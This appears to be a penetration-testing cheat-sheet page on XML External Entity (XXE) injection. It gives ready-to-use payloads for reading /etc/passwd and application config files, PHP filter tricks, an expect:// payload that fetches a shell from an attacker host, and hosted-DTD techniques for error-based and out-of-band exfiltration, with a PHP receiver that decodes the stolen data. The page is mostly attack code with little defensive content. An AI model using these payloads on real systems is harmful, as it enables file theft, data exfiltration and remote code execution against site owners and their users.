Skip to main content

xml-external-entity-xxe-injection

XML External Entity (XXE) Injection

XXE Injection is a vulnerability that allows attackers to exploit XML parsers by including external entities. It can lead to reading local files, SSRF, or denial of service. This happens when untrusted XML input is parsed without proper configuration.

Vulnerable PHP Code:

To solve this vulnerability, we can Use libxml_disable_entity_loader(true); before parsing XML.

$xml = $_POST['data'];
libxml_disable_entity_loader(false);
$data = simplexml_load_string($xml);

Some Tools

  1. 230-OOB - An Out-of-Band XXE server for retrieving file contents over FTP.
  2. XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods.
  3. docem - A tool to embed XXE and XSS payloads in docx, odt, pptx, xlsx files (oxml_xxe on steroids)

Confirm the Vulnerability

  • Internal Entity: If an entity is declared within a DTD it is called an internal entity. Syntax: <!ENTITY entity_name "entity_value">
  • External Entity: If an entity is declared outside a DTD it is called an external entity. Identified by SYSTEM. Syntax: <!ENTITY entity_name SYSTEM "entity_value">

Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
<userInfo>
<firstName>John</firstName>
<lastName>&example;</lastName>
</userInfo>
info

Make sure to change set Content-Type: application/xml in HTTP Request.

Exploiting XXE to Retrieve Files

Classic XXE

We try to display the content of the file /etc/passwd.

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY hehe SYSTEM 'file:///etc/passwd'>]>
<root>&hehe;</root>

For more refer here.

Classic XXE Base64 Encoded

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

PHP Wrapper Inside XXE

<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>&xxe; ok</name>
</contact>
</contacts>

RCE using XXE

We can try to read id_rsa if possible or try to steal hash using responder by trying to connect to our server.

We can also try php://expect module for command execution but it needs to be enabled.

<?xml version="1.0"?>
<!DOCTYPE temp [
<!ENTITY xxe SYSTEM "expect://curl$IFS-O$IFS'TUN0-IP/shell.php'">
]>
<contacts>
<contact>
<name>&xxe; ok</name>
</contact>
</contacts>
danger

php://expect is disabled by default.

XXE with CDATA

When an app blocks normal XXE due to XML formatting issues, CDATA allows raw data output, including special characters. Wrapping external file contents inside <![CDATA[ ... ]]> lets XML parsers treat it as plain text — perfect for binary or unescaped data.

We can perform like this:

  1. Use CDATA to bypass XML formatting errors.
  2. XML doesn't allow mixing internal & external entities directly.
  3. Use parameter entities (%entity) from external DTD to join them.
  4. Host the DTD on your machine and point to it from the vulnerable app.

POC

  1. Create a new DTD file and save it as custom.dtd and host it:
echo '<!ENTITY wrapper "%open;%target;%close;">' > custom.dtd
python3 -m http.server 2929
  1. Inject XXE in your request
<!DOCTYPE data [
<!ENTITY % open "<![CDATA[">
<!ENTITY % target SYSTEM "file:///var/www/html/config.php">
<!ENTITY % close "]]>">
<!ENTITY % remoteDTD SYSTEM "http://TUN0-IP:2929/custom.dtd">
%remoteDTD;
]>
<data>&wrapper;</data>

Error-Based XXE

When we can’t see XML output but errors are shown, we can abuse error messages to leak file content. By referencing a non-existent entity combined with a real file, the parser throws an error that includes the file content.

We can perform like this:

  1. Test for visible errors using malformed XML (missing tags, wrong closing tags or nonExistingEntity).
  2. Host an external DTD with a crafted payload to force an error.
  3. The error message will leak the file content.

POC

  1. Create DTD file (leak.dtd) and Host it:
<!ENTITY % target SYSTEM "file:///var/www/html/index.php">
<!ENTITY % trigger "<!ENTITY err SYSTEM '%undefined;/error/%target;'>">

Host it using python http server:

python3 -m http.server 2929
  1. Inject into vulnerable XML request
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://TUN0-IP:2929/leak.dtd">
%remote;
%trigger;
]>

Please note:

  • %undefined; doesn't exist → triggers error.
  • Error will leak the content of index.php.
  • May fail on large files or special chars.

Out-Of-Band Attack (OOB)

When no XML output or error messages are shown, use OOB exfiltration. This method makes the vulnerable server send HTTP requests to your server, leaking data via the URL.

We can perform like this:

  1. Use PHP filter to base64 encode file content.
  2. Inject that content into an HTTP request to your server.
  3. Capture & decode the base64 string.

POC

  1. Host DTD file (oob.dtd) and host it using php:
<!ENTITY % encoded SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/db.php">
<!ENTITY % exfil "<!ENTITY leak SYSTEM 'http://TUN0-IP:8000/?data=%encoded;'>">
php -S 0.0.0.0:2929
  1. Inject into the target
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://TUN0-IP:2929/oob.dtd">
%remote;
%exfil;
]>
<root>&leak;</root>
Note

We can use following index.php which automatically decodes the base64-encoded string:

<?php
if (isset($_GET['data'])) {
error_log("\n\n" . base64_decode($_GET['data']));
}
?>

More

For more techniques—such as WAF bypasses, using XXE in SVG files, and more—we can refer to this excellent resource: PayloadsAllTheThings - XXE Injection.